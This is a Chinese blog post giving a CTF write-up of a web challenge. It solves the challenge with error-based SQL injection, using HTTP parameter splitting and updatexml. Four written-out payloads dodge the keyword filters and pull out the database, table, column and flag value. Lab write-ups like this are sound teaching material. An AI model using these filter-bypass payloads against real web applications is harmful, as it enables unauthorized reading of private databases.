博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
实验吧web加了料的报错注入
阅读量:4908 次
发布时间:2019-06-11

本文共 1544 字,大约阅读时间需要 5 分钟。

 知识点:

SQL注入中用到的Concat函数详解    http://www.sohu.com/a/219966085_689961

http分割注入

 

 

 

 

直接根据提示,提交post请求的用户名和密码

 

结果显示

换成 username=1'&password=1

就说我有sql语法错误,说明这题是要考虑sql注入的,然后然后用burpsuite检测许多sql相关的词,看哪些词被过滤了

bp爆破测试教程可以参考这一篇

 查看测试的结果:# = union select等这几个都是报错‘Sql injection detected’说明都被过滤了

 

 

看一下网页源码

 介于这个情况,还有源码中的提示是这样一整句的查询

故而我们考虑用http分割注入,这个形式便是把一个想执行的语句,拆散到两个参数里,并注释中间的东西,来达到注入的目的

记得我们得知的SQL语句格式嘛?  where username='???' and password='???'   而sql语句中可以使用/**/注释掉中间的SQL语句。也就是说,我们可以使用/**/来解决这个问题,而且/**/也没有被吃掉,这叫做HTTP分割注入。

 

对经常使用的报错注入函数updatexml进行测试。在密码中禁止对updatexml的使用,但是用户名并没有禁止。因此通过updatexml在存储非XPath格式的字符串时的报错输出获得所需要的信息。

 

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称。

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据

updatexml在username中可用,而在password中被过滤了,现在还有一个问题,等号‘=’不让用,我们这里告诉一个操作:<>在sql中表示不等于,再在前面加个!就能起到等号的作用了

 

(1)函数库名

username=1' or updatexml/*&password=*/(1,concat(0x7e,(select database()),0x7e),1) or '1

 

(2)表名

username=1' or updatexml/*&password=*/(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where !(table_schema<>'error_based_hpf')),0x7e),1) or '1

 

 

(3)字段

username=1' or updatexml/*&password=*/(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where !(table_name<>'ffll44jj')),0x7e),1) or '1

 

 (4)内容

username=1' or updatexml/*&password=*/(1,concat(0x7e,(select value from ffll44jj),0x7e),1)or '1

 

 

 

参考了https://blog.csdn.net/qq_41618162/article/details/81783298

 

转载于:https://www.cnblogs.com/liqik/p/10543345.html

你可能感兴趣的文章
jquery remove() detach() empty()三种方法的区别
查看>>
分享8年开发经验,浅谈个人发展经历,明确自己发展方向
查看>>
Balanced Team
查看>>
开发使用Node.js的一个小技巧
查看>>
关于TextFiled超链接无法通过HtmlText点击的处理
查看>>
2018暑假第三周总结(7.16-7.29)
查看>>
新的开始,持之以恒。
查看>>
lintcode :nth to Last Node In List 链表倒数第n个节点
查看>>
地铁开发进度2
查看>>
docker linux基本操作
查看>>
JAVA总结--JDK版本区别
查看>>
jsp中获取json字符串,并解析
查看>>
BroadcastReceiver
查看>>
【Linux笔记】CentOS下找不到eth0设备的解决方法
查看>>
【Linux笔记】ps、kill、netstat、nohup、screen
查看>>
android多线程
查看>>
【转载】如何从零开始开发一款嵌入式产品
查看>>
京东进口牛奶的爬取
查看>>
雪球数据的定时爬取
查看>>
List集合内所有元素求和
查看>>